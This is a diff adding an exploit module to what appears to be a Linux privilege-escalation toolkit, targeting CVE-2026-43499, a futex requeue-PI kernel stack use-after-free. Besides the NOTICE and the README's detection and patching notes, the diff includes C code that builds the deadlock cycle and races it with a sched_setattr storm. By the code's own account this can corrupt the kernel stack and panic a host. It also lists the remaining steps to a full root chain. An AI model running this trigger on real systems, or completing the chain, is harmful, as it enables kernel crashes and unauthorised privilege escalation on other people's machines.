capped number of times (24 iterations / 2 s) with a sibling-CPU
|
||||
`sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the
|
||||
priority walk with the rollback (the actual race). Then it stops.
|
||||
|
||||
It is **deliberately under-driven**. A *won* race corrupts the kernel
|
||||
**stack** and drives a near-arbitrary pointer write — near-certain panic on a
|
||||
vulnerable host. So this module does **not** widen the `copy_from_user`
|
||||
window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed
|
||||
stack frame, and does **not** bundle the KernelSnitch leak → forged-waiter →
|
||||
fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||
per-build offsets). The trigger is **reconstructed from the public PoC and is
|
||||
not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not
|
||||
get.
|
||||
|
||||
Because a kernel race that corrupts the stack is the least predictable class
|
||||
in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 —
|
||||
just below `bad_epoll`), so `--auto` only reaches for it after every safer
|
||||
vulnerable module.
|
||||
|
||||
## Detection — better than most kernel races, but read this
|
||||
|
||||
Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every
|
||||
event loop), GhostLock has a **genuinely distinctive tell**: a futex
|
||||
requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning
|
||||
`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never
|
||||
provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling
|
||||
thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the
|
||||
`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch
|
||||
would flood any host. So:
|
||||
|
||||
- **auditd / sigma** anchor on the far rarer `sched_setattr` /
|
||||
`sched_setaffinity` drivers plus the post-exploitation euid-0 transition.
|
||||
- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns
|
||||
`EDEADLK` + sibling `sched_setattr`) — it can see the op and the return
|
||||
value.
|
||||
|
||||
There is no yara rule (in-kernel race, no file artifact). Tune the
|
||||
`sched_setattr` anchor per environment — real-time and scheduler-tuning
|
||||
daemons will false-positive.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or
|
||||
7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at
|
||||
runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path.
|
||||
`mitigate()` is `NULL` for that reason.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery, research, and the public PoC: **VEGA / Nebula Security**
|
||||
(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong /
|
||||
Thomas Gleixner). See `NOTICE.md`.
|
||||
@@ -0,0 +1,76 @@
|
||||
# NOTICE — ghostlock (CVE-2026-43499)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-43499** — "GhostLock", a **race-condition use-after-free** on
|
||||
kernel **stack** memory in the Linux rtmutex / futex requeue-PI path
|
||||
(`kernel/locking/rtmutex.c`). On the deadlock-rollback path,
|
||||
`remove_waiter()` operates on `current` instead of the actual waiter task
|
||||
while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
|
||||
`futex_requeue()`); a concurrent PI-chain priority walk driven via
|
||||
`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and
|
||||
leaves an on-stack `struct rt_mutex_waiter` dangling → UAF when the kernel
|
||||
later rotates the rbtree over the reused stack frame.
|
||||
|
||||
The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) —
|
||||
`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special
|
||||
config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since
|
||||
PI-futex requeue landed in **2.6.39** — ~15 years across every distribution.
|
||||
NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause.
|
||||
**Not** in CISA KEV (brand new).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery, research, and public PoC** by **VEGA / Nebula Security**
|
||||
(`@nebusecurity`, <https://nebusec.ai>), published as "IonStack part II:
|
||||
GhostLock" (<https://nebusec.ai/research/ionstack-part-2/>). Exploit code:
|
||||
<https://github.com/NebuSec/CyberMeowfia> (`IonStack/CVE-2026-43499`,
|
||||
Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable
|
||||
privilege escalation / container escape. SKELETONKEY's trigger
|
||||
reconstruction is informed by the public PoC's requeue-PI cycle shape only
|
||||
— no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch
|
||||
arithmetic is reused.
|
||||
- **Introduced** with PI-futex requeue in **2.6.39** (commit
|
||||
`8161239a8bcc`).
|
||||
- **Fixed upstream** by commit
|
||||
`3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task
|
||||
instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner),
|
||||
merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 /
|
||||
6.6.140 / 6.1.175**.
|
||||
- Authoritative backport versions: the Linux kernel CNA record
|
||||
(<https://cveawg.mitre.org/api/cve/CVE-2026-43499>,
|
||||
`git.kernel.org/stable/c/<hash>`), corroborated by the Debian
|
||||
(<https://security-tracker.debian.org/tracker/CVE-2026-43499>), Ubuntu, and
|
||||
SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected
|
||||
with no upstream stable fix published at time of writing.
|
||||
|
||||
All credit for finding, analysing, and exploiting this bug belongs to VEGA /
|
||||
Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is
|
||||
the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — reachability-only, not VM-verified.** This is
|
||||
the corpus's first rtmutex / futex-PI module and its cleanest example of a
|
||||
kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on
|
||||
the same "fire the bug class and stop" contract as `stackrot`
|
||||
(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll`
|
||||
(CVE-2026-46242).
|
||||
|
||||
`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below
|
||||
the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175,
|
||||
7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no
|
||||
userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal).
|
||||
`exploit()` forks an isolated child that confirms the `-EDEADLK`
|
||||
`remove_waiter()` rollback path is reachable (deterministic, safe) and then
|
||||
exercises the actual race a hard-bounded 24 iterations / 2 s with a
|
||||
sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops.
|
||||
|
||||
It is **deliberately under-driven**: a won race corrupts the kernel stack and
|
||||
drives a near-arbitrary pointer write (near-certain panic), so the module does
|
||||
not widen the `copy_from_user` window, does not spray/reoccupy the freed
|
||||
frame, and does not bundle the KernelSnitch leak → forged on-stack
|
||||
`rt_mutex_waiter` → fops/configfs/ashmem/pipe R/W → cred-patch root-pop
|
||||
(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from
|
||||
the public PoC, not VM-verified — it never claims root it did not get. It
|
||||
carries the lowest `--auto` safety rank in the corpus.
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
* ghostlock_cve_2026_43499 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-43499 — "GhostLock", a race-condition use-after-free on kernel
|
||||
* STACK memory in the Linux rtmutex / futex requeue-PI code path
|
||||
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
|
||||
* remove_waiter() operates on `current` instead of the actual waiter task
|
||||
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() — reached
|
||||
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
|
||||
* from another CPU via sched_setattr()) runs at that instant,
|
||||
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
|
||||
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
|
||||
* When the kernel later rotates that rbtree over the (now-reused) stack
|
||||
* frame, the forged node fields become a controlled kernel write → UAF.
|
||||
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
|
||||
* sched_setattr(2), no user namespace, no capability, no special CONFIG
|
||||
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
|
||||
* PI-futex requeue landed — ~15 years, across every distribution.
|
||||
*
|
||||
* Public research + PoC — "IonStack part II: GhostLock" by VEGA / Nebula
|
||||
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
|
||||
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
|
||||
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
|
||||
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
|
||||
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
|
||||
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
|
||||
* overwrites a struct file f_op → configfs/ashmem arbitrary R/W → pipe
|
||||
* physical R/W → cred patch → root. ~97% stable on kernelCTF; Google
|
||||
* awarded $92,337.
|
||||
*
|
||||
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
|
||||
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
|
||||
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
|
||||
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
|
||||
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
|
||||
* stable fix published at time of writing. NOT in CISA KEV (brand new).
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — reachability-only, NOT VM-verified.
|
||||
* exploit() forks an isolated child that, in two phases:
|
||||
* (A) DETERMINISTIC + SAFE — builds the requeue-PI cycle (a waiter
|
||||
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
|
||||
* an owner holding the "target" PI-futex and blocked on the chain)
|
||||
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
|
||||
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
|
||||
* rollback path (where the bug lives) is REACHABLE on this host.
|
||||
* With no concurrent priority walk, the rollback is the kernel's
|
||||
* normal, correct deadlock rejection — it creates no dangling
|
||||
* pointer, so this phase is safe on any kernel.
|
||||
* (B) HARD-BOUNDED window exercise — repeats (A) a small, wall-clock-
|
||||
* capped number of times with a sibling-core consumer thread
|
||||
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
|
||||
* PI-chain priority walk overlaps the rollback (the actual race).
|
||||
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
|
||||
* copy_from_user widening and the kernel-stack spray that make a
|
||||
* win likely, does NOT reoccupy the freed frame, and does NOT
|
||||
* bundle the KernelSnitch leak → forged-waiter → fops/configfs/
|
||||
* ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||
* per-build offsets). It returns EXPLOIT_FAIL and never claims
|
||||
* root it did not get.
|
||||
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
|
||||
* pointer write — near-certain panic on a vulnerable host — which is why
|
||||
* this carries the lowest --auto safety rank in the corpus (see
|
||||
* module_safety_rank() in skeletonkey.c).
|
||||
*
|
||||
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
|
||||
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
|
||||
* detect() ASSUMES rather than probes — no distro tracker publishes a
|
||||
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
|
||||
* userns / capability precondition (CVSS PR:L, any local user).
|
||||
*
|
||||
* arch_support: any — the bug and this reachability probe are arch-neutral
|
||||
* (futex / sched_setattr / pthreads); only the public *weaponization* is
|
||||
* arm64/Android-specific, and none of it is bundled here.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
/* futex operation constants — define defensively; <linux/futex.h> is not
|
||||
* always present and can clash with libc headers. */
|
||||
#ifndef FUTEX_LOCK_PI
|
||||
#define FUTEX_LOCK_PI 6
|
||||
#endif
|
||||
#ifndef FUTEX_UNLOCK_PI
|
||||
#define FUTEX_UNLOCK_PI 7
|
||||
#endif
|
||||
#ifndef FUTEX_WAIT_REQUEUE_PI
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#endif
|
||||
#ifndef FUTEX_CMP_REQUEUE_PI
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
#endif
|
||||
#ifndef FUTEX_CLOCK_REALTIME
|
||||
#define FUTEX_CLOCK_REALTIME 256
|
||||
#endif
|
||||
#ifndef SCHED_BATCH
|
||||
#define SCHED_BATCH 3
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
|
||||
* stable backports shipped per LTS branch below. A branch with an exact
|
||||
* entry is patched iff host.patch >= entry.patch; any branch strictly
|
||||
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
|
||||
* branch (5.4/5.10/5.15 — affected, no upstream fix — and the EOL lines
|
||||
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
|
||||
* kernel_range_is_patched() implements exactly that. Extend the table as
|
||||
* more branches publish backports (the drift checker flags them).
|
||||
* Authoritative source: the Linux kernel CNA record (git.kernel.org
|
||||
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from ghostlock_patched_branches[] = {
|
||||
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
|
||||
{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
|
||||
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
|
||||
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
|
||||
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
|
||||
};
|
||||
|
||||
static const struct kernel_range ghostlock_range = {
|
||||
.patched_from = ghostlock_patched_branches,
|
||||
.n_patched_from = sizeof(ghostlock_patched_branches) /
|
||||
sizeof(ghostlock_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
|
||||
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
|
||||
* the code entirely. (In practice nothing modern is below this, but
|
||||
* the gate is here for correctness.) */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
|
||||
"(introduced 2.6.39) — not affected\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ghostlock_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
|
||||
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
|
||||
"mainline)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
|
||||
"its branch; rtmutex/futex requeue-PI remove_waiter() "
|
||||
"stack UAF reachable by any unprivileged user (no userns "
|
||||
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
|
||||
"applies (PI futexes cannot be disabled at runtime) — the "
|
||||
"only fix is to patch the kernel\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Reconstructed reachability trigger (deliberately under-driven).
|
||||
*
|
||||
* Faithful minimal shape of the public PoC's requeue-PI cycle:
|
||||
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
|
||||
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
|
||||
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
|
||||
* The requeue would make the waiter block on `target` (held by owner),
|
||||
* owner is blocked on `chain` (held by waiter) → cycle → rt_mutex
|
||||
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
|
||||
*
|
||||
* Phase A (no consumer) confirms that rollback path is REACHABLE — safe,
|
||||
* because without a concurrent PI priority walk the unwind is the normal
|
||||
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
|
||||
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
|
||||
* overlap the walk with the rollback (the actual race), hard-bounded,
|
||||
* then stops. We do NOT widen the copy_from_user window (no memfd /
|
||||
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
|
||||
* weaponise. The honest witness is coarse: the -EDEADLK reachability
|
||||
* proof, plus a fault signal in the isolated child if a Phase-B race
|
||||
* happened to fire. Absence of a fault does NOT prove the host is safe.
|
||||
* ------------------------------------------------------------------ */
|
||||
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
|
||||
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
|
||||
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
|
||||
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
|
||||
|
||||
struct ghl_sched_attr {
|
||||
uint32_t size;
|
||||
uint32_t sched_policy;
|
||||
uint64_t sched_flags;
|
||||
int32_t sched_nice;
|
||||
uint32_t sched_priority;
|
||||
uint64_t sched_runtime;
|
||||
uint64_t sched_deadline;
|
||||
uint64_t sched_period;
|
||||
};
|
||||
|
||||
struct ghl_attempt {
|
||||
volatile uint32_t chain; /* PI futex the waiter holds */
|
||||
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
|
||||
volatile uint32_t wait; /* plain futex the waiter parks on */
|
||||
atomic_int waiter_ready; /* waiter holds chain + published tid */
|
||||
atomic_int owner_ready; /* owner holds target + about to block on chain */
|
||||
atomic_int waiter_tid; /* consumer targets this tid */
|
||||
atomic_int stop; /* tear-down flag for the consumer */
|
||||
};
|
||||
|
||||
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
|
||||
void *timeout_or_val2, volatile uint32_t *uaddr2,
|
||||
uint32_t val3)
|
||||
{
|
||||
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
|
||||
}
|
||||
|
||||
static int ghl_gettid(void)
|
||||
{
|
||||
return (int)syscall(SYS_gettid);
|
||||
}
|
||||
|
||||
static void ghl_pin_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||
}
|
||||
|
||||
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
|
||||
{
|
||||
clock_gettime(CLOCK_REALTIME, ts);
|
||||
ts->tv_sec += ms / 1000;
|
||||
ts->tv_nsec += (ms % 1000) * 1000000L;
|
||||
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
|
||||
}
|
||||
|
||||
static void *ghl_waiter_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(0);
|
||||
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
|
||||
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
|
||||
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
|
||||
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
|
||||
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
|
||||
* so we self-unblock even if the requeue is refused (-EDEADLK). */
|
||||
struct timespec ts;
|
||||
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
|
||||
&ts, &a->target, 0);
|
||||
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *ghl_owner_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(0);
|
||||
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
|
||||
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
|
||||
struct timespec ts;
|
||||
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
|
||||
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *ghl_consumer_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(1); /* sibling CPU */
|
||||
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
|
||||
sched_yield();
|
||||
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
|
||||
struct ghl_sched_attr sa;
|
||||
memset(&sa, 0, sizeof sa);
|
||||
sa.size = sizeof sa;
|
||||
sa.sched_policy = SCHED_BATCH;
|
||||
sa.sched_nice = 19;
|
||||
/* Hammer a PI-chain priority walk on the waiter concurrently with the
|
||||
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
|
||||
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
|
||||
#ifdef SYS_sched_setattr
|
||||
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
|
||||
#else
|
||||
sched_yield();
|
||||
#endif
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
|
||||
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
|
||||
* kernel returned -EDEADLK (the rollback path was reached). */
|
||||
static int ghl_one_attempt(int with_race)
|
||||
{
|
||||
struct ghl_attempt a;
|
||||
memset(&a, 0, sizeof a);
|
||||
|
||||
pthread_t tw, to, tc;
|
||||
int have_tc = 0;
|
||||
|
||||
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
|
||||
return 0;
|
||||
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
|
||||
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
|
||||
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||
pthread_join(tw, NULL);
|
||||
return 0;
|
||||
}
|
||||
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
|
||||
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
|
||||
have_tc = 1;
|
||||
|
||||
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
|
||||
* LOCK_PI(chain) before we close the cycle. */
|
||||
usleep(3000);
|
||||
|
||||
errno = 0;
|
||||
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
|
||||
(void *)(uintptr_t)1, &a.target, 0);
|
||||
int got_edeadlk = (r == -1 && errno == EDEADLK);
|
||||
|
||||
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||
if (have_tc) pthread_join(tc, NULL);
|
||||
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
|
||||
pthread_join(tw, NULL);
|
||||
return got_edeadlk;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ghostlock_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ghostlock: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
|
||||
"the requeue-PI cycle and confirms the -EDEADLK "
|
||||
"remove_waiter() rollback path is reachable, then exercises "
|
||||
"the race window %d bounded times (%ds cap) with a "
|
||||
"sibling-CPU sched_setattr storm, and stops. The "
|
||||
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
|
||||
"→ cred-patch root-pop is NOT bundled.\n",
|
||||
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
|
||||
|
||||
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
|
||||
* KASAN kernel that oopses (contained to the child); on a plain
|
||||
* vulnerable kernel it may panic — which is exactly why the attempt
|
||||
* count is hard-bounded and the window is never widened. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* Phase A — deterministic, safe reachability confirmation. */
|
||||
int edeadlk = 0;
|
||||
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
|
||||
edeadlk = ghl_one_attempt(0 /* no race */);
|
||||
|
||||
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
|
||||
int fired = 0;
|
||||
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
|
||||
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||
(void)ghl_one_attempt(1 /* with race */);
|
||||
fired = i + 1;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
|
||||
"%d bounded race-window iterations fired\n",
|
||||
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
|
||||
_exit(edeadlk ? 100 : 101);
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
|
||||
"requeue-PI stack UAF may have fired (KASAN oops / "
|
||||
"corruption fault). This is the bug, but no root was "
|
||||
"obtained.\n",
|
||||
WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (WIFEXITED(status) &&
|
||||
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
|
||||
if (!ctx->json) {
|
||||
if (WEXITSTATUS(status) == 100)
|
||||
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
|
||||
"deadlock-rollback path IS reachable here "
|
||||
"(-EDEADLK) and the race window was exercised — "
|
||||
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
|
||||
else
|
||||
fprintf(stderr, "[!] ghostlock: race window exercised but the "
|
||||
"-EDEADLK rollback path was not observed (timing, "
|
||||
"or a hardened/patched-at-runtime kernel) — honest "
|
||||
"EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] ghostlock: to complete: port the public "
|
||||
"KernelSnitch page leak + forged on-stack "
|
||||
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
|
||||
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
|
||||
"per-build offsets — not bundled).\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
